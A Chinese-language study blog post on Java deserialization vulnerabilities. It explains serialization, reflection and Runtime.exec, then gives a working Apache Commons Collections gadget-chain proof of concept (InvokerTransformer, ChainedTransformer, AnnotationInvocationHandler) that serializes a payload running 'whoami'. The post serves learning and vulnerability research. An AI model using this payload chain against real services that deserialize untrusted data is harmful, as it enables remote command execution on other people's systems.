java的安全问题首屈一指的就是反序列化漏洞，可以执行命令啊，甚至直接getshell，所以趁着这个假期好好研究一下java的反序列化漏洞。另外呢，组里多位大佬对反序列化漏洞都有颇深的研究，借此机会，努力学习，作为狼群中的哈士奇希望成功的继续伪装下去，不被识破，哈哈哈哈！！！

参考文档：感谢所有参考文献的作者：

1、https://www.cnblogs.com/bencakes/p/6139477.html

2、https://www.cnblogs.com/ssooking/p/5875215.html

3、https://www.cnblogs.com/xdp-gacl/p/3777987.html

一、Java的序列化与反序列化：

在这里我们直接自己定义一个类，然后对这个类的对象（一个实例）进行序列化和发序列化测试。

1 //引入必要的java包文件
2 import java.io.*;
3
4 //创建测试类，注意要继承Serializable接口
5 class serialdemo implements Serializable{
6 public static int number;
7 public serialdemo(int inputnum) {
8 this.number = inputnum;
9 }
10 }
11
12 //主类
13 public class test{
14 //测试主类
15 public static void main(String[] args) throws IOException, ClassNotFoundException {
16 //主函数入口
17 serialdemo object = new serialdemo(100);
18 FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象
19 ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象
20 outputstream.writeObject(object);//把类对象（实例）序列化进入文件
21 outputstream.close();
22 FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象
23 ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化
24 // 通过反序列化恢复对象obj
25 serialdemo object2 = (serialdemo)inputstream.readObject();
26 System.out.println("反序列化后的对象的值：");
27 System.out.println(object2.number);
28 inputstream.close();
29 }
30 }

既然自己定义的类都可以了，那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下：

1 └─[$]> java test
2 反序列化后的对象的值：
3 100

 二、对java序列化的详解：

1、api定位：

1 /*
2 java.io.ObjectOutputStream -> writeObject()
3 java.io.ObjectInputStream -> readObject()
4 序列化把对象序列化成字节流
5 反序列化读取字节流反序列化对象
6 */

2、实现Serializable和Externalizable接口的类才能序列化与反序列化。

3、java的反射机制：

/*
在java运行状态中
1.对于任何一个类，都能判断对象所属的类；
2.对于任何一个类，都能获取其所有的属性和方法；
3.对于任何一个对象，都能调用任意一个方法和属性；
*/

三、反序列化的漏洞原理概述：

1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能，攻击者可以通过构造特定的恶意对象序列化后的流，让目标反序列化，从而达到自己的恶意预期行为，包括命令执行，甚至getshell等等。

2、Apache Commons Collections

这是开源小组Apache研发的一个Collections收集器框架，提供诸如list、set、queue等功能对象。这个框架中有一个接口，其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数，这个接口类是InvokerTransformer。这个架构的广泛使用，也导致了java反序列化漏洞的大面积流行。

3、java执行系统命令：

1 //命令执行函数
2 public void test() throws IOException, InterruptedException {
3 Process process = Runtime.getRuntime().exec("whoami");
4 InputStream inputstream = process.getInputStream();
5 BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
6 process.waitFor();
7 if (process.exitValue() != 0) {
8 //说明命令执行失败
9 //可以进入到错误处理步骤中
10 }
11 //打印输出信息
12 String s = null;
13 while ((s = reader.readLine()) != null) {
14 System.out.println(s);
15 }
16 }

简介：

Runtime.getRuntime().exec("command_string");

回显呢：

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面结合起来就是序列化的打法。

四、关于反射链

以前一直不理解反射链是什么定西，现在我们来看看接口源代码：

我们来理一理这一段：

开始：

可以看出来这个方法，属于一个对象，输出另外一个对象，完成了类型的转换。同时这个接口还可以串联完成一系列的转换，构成反射链。

Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：

1 public class InvokerTransformer implements Transformer, Serializable {
2
3 …
4
5 /*
6 Input参数为要进行反射的对象，
7 iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
8 iArgs为对应方法的参数
9 在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数
10 */
11 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
12 super();
13 iMethodName = methodName;
14 iParamTypes = paramTypes;
15 iArgs = args;
16 }
17
18 public Object transform(Object input) {
19 if (input == null) {
20 return null;
21 }
22 try {
23 Class cls = input.getClass();
24 Method method = cls.getMethod(iMethodName, iParamTypes);
25 return method.invoke(input, iArgs);
26
27 } catch (NoSuchMethodException ex) {
28 throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ does not exist");
29 } catch (IllegalAccessException ex) {
30 throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ cannot be accessed");
31 } catch (InvocationTargetException ex) {
32 throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ threw an exception", ex);
33 }
34 }
35
36 }

只需要传入方法名、参数类型和参数，即可调用任意函数。

在这里，我们可以看到，先用ConstantTransformer()获取了Runtime类，接着反射调用getRuntime函数，再调用getRuntime的exec()函数，执行命令。依次调用关系为： Runtime --> getRuntime --> exec()。因此，我们要提前构造 ChainedTransformer链，它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数，进而执行命令。正式开始时，我们先构造一个TransformeMap实例，然后想办法修改它其中的数据，使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

 五、poc原理分析：

参考大牛博客，给出一个原理解释知识点

1 ConstantTransformer
2 把一个对象转化为常量，并返回。
3
4 InvokerTransformer
5 通过反射，返回一个对象
6
7 ChainedTransformer
8 ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer

不得不说上面大牛博客分析的大段的代码原理我基本都不懂，因为不是java程序员的我对此真是摸不着头脑，但是我们可以做如下总结：

1 /*
2 1、java反序列化可以远程执行命令。
3 2、java执行命令用到Runtime.getRuntime().exec("whoami");
4 3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化，形成反射链。
5 4、ConstantTransformer可以把对象转换为常量返回。
6 5、ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer
7 6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行
8 */

POC的思路：

1 /*
2 1）首先构造一个Map和一个能够执行代码的ChainedTransformer，
3 2）生成一个TransformedMap实例
4 3）实例化AnnotationInvocationHandler，并对其进行序列化，
5 4）当触发readObject()反序列化的时候，就能实现命令执行。
6 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
7 */

分析大牛poc核心代码逻辑：

1 /*
2 核心逻辑表达式：
3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
4 主函数中：
5 1、定义一个要执行的命令字符串：String commandstring = "whoami";
6 2、定义一个执行逻辑：
7 Transformer[] transformers = new Transformer[] {
8 new ConstantTransformer(Runtime.class),
9 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
10 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
11 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
12 }
13 3、执行逻辑转化操作(ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作)：
14 Transformer transformedChain = new ChainedTransformer(transformers);
15 4、后面是关于不关心的东西，写死即可：
16 Map BeforeTransformerMap = new HashMap();
17 BeforeTransformerMap.put("hello", "hello");
18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
21 ctor.setAccessible(true);
22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
23 File f = new File("temp.bin");
24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
25 out.writeObject(instance);
26 */
27
28 //引入必要的java包文件
29 import java.io.File;
30 import java.io.FileInputStream;
31 import java.io.FileNotFoundException;
32 import java.io.FileOutputStream;
33 import java.io.IOException;
34 import java.io.ObjectInputStream;
35 import java.io.ObjectOutputStream;
36 import java.lang.annotation.Retention;
37 import java.lang.reflect.Constructor;
38 import java.util.HashMap;
39 import java.util.Map;
40 import java.util.Map.Entry;
41
42 //引入第三方包文件，也就是关于apache的那几个包
43 import org.apache.commons.collections.Transformer;
44 import org.apache.commons.collections.functors.ChainedTransformer;
45 import org.apache.commons.collections.functors.ConstantTransformer;
46 import org.apache.commons.collections.functors.InvokerTransformer;
47 import org.apache.commons.collections.map.TransformedMap;
48
49 //主类
50 public class POC_Test{
51 public static void main(String[] args) throws Exception {
52 //定义待执行的命令:
53 String commandstring = "whoami";
54 //定义一个反射链，确定预定的转化逻辑
55 /*
56 定义一个反射链的方法：
57 Transformer[] varitename = new Transformer[] {
58 new ConstantTransformer(Runtime.class),
59 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
60 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
61 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
62 }
63 */
64 Transformer[] transformers = new Transformer[] {
65 new ConstantTransformer(Runtime.class),
66 /*
67 由于Method类的invoke(Object obj,Object args[])方法的定义
68 所以在反射内写new Class[] {Object.class, Object[].class }
69 正常POC流程举例：
70 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
71 */
72 new InvokerTransformer(
73 "getMethod",
74 new Class[] {String.class, Class[].class },
75 new Object[] {"getRuntime", new Class[0] }
76 ),
77 new InvokerTransformer(
78 "invoke",
79 new Class[] {Object.class,Object[].class },
80 new Object[] {null, null }
81 ),
82 new InvokerTransformer(
83 "exec",
84 new Class[] {String[].class },
85 new Object[] { commandstring }
86 //new Object[] { execArgs }
87 )
88 };
89
90 //transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作
91 Transformer transformedChain = new ChainedTransformer(transformers);
92
93 //BeforeTransformerMap: Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict
94 //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
95 Map BeforeTransformerMap = new HashMap();
96 BeforeTransformerMap.put("hello", "hello");
97
98 //Map数据结构，转换后的Map
99 /*
100 TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。
101 第一个参数为待转化的Map对象
102 第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空）
103 第三个参数为Map对象内的value要经过的转化方法。
104 */
105 //TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）);
106 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
107 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
108 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
109 ctor.setAccessible(true);
110 Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
111 File f = new File("temp.bin");
112 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
113 out.writeObject(instance);
114 }
115 }
116
117 /*
118 思路:构建BeforeTransformerMap的键值对，为其赋值，
119 利用TransformedMap的decorate方法，对Map数据结构的key/value进行transforme
120 对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行
121
122 执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(………)
123 利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
124
125 */